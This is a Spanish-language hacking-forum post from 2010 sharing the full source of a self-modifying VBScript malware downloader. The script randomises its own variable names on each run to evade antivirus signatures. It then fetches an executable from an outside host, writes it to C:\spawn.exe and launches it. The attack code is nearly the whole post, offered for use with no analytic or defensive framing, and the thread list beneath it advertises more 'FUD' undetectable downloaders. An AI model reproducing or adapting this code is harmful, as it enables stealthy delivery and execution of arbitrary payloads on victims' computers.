comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Downloader Polymorphic

  • 0 Respuestas
  • 1318 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5380
  • Actividad:
    76.67%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Febrero 23, 2010, 10:07:44 am »
Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
' Polymorphic VBSript Downloader
' Kolor

Randomize
set fso=createobject("scripting.filesystemobject")
set vbsfile=fso.opentextfile(wscript.scriptfullname,1,false)
code=vbsfile.readall
vars=array("code","vars","var","newlet","num","newlet","fso","vbsfile","HTTPGET","reg","pth","SendBinary","url")
'
' ^^ Set all vaariables (sic) ^^
'
for each var in vars
 for num=1 to int(rnd*14) + 2
 if int(rnd*2)+1=1 then
  newlet=newlet& ucase(chr((int(rnd*22)+97)))
  if int(rnd*2)+1=1 then
   newlet=newlet & int(rnd*int(rnd*4))
  end if
 else
  newlet=newlet&lcase(chr((int(rnd*22)+97)))
  if int(rnd*2)+1=1 then
   newlet=newlet&int(rnd *2)
  else
   newlet=newlet&int(rnd*int(rnd*6))
  end if
 end if
 next
 code=replace(code,var,newlet)
 newlet=""
next
set vbsfile=fso.opentextfile(wscript.scriptfullname,2,false)
vbsfile.write code
url = "http://kolor.doesntexist.com/demo.exe"
pth = "C:\spawn.exe"
Set HTTPGET = CreateObject("Microsoft.XMLHTTP")
HTTPGET.Open "GET", url, false
HTTPGET.Send
DataBin = HTTPGET.ResponseBody
Const adTypeBinary=1
Const adSaveCreateOverWrite=2
Dim SendBinary
Set SendBinary = CreateObject("ADODB.Stream")
SendBinary.Type = adTypeBinary
SendBinary.Open
SendBinary.Write DataBin
SendBinary.SaveToFile pth, adSaveCreateOverWrite
set reg = createobject("WScript.shell")
reg.run(pth)


 

¿Te gustó el post? COMPARTILO!



Sad downloader kit

Iniciado por sadfud

Respuestas: 5
Vistas: 2367
Último mensaje Febrero 17, 2017, 05:10:29 pm
por sadfud
Polymorphic Sadownloader {FUD}

Iniciado por sadfud

Respuestas: 7
Vistas: 3180
Último mensaje Febrero 14, 2017, 12:07:57 pm
por ragaza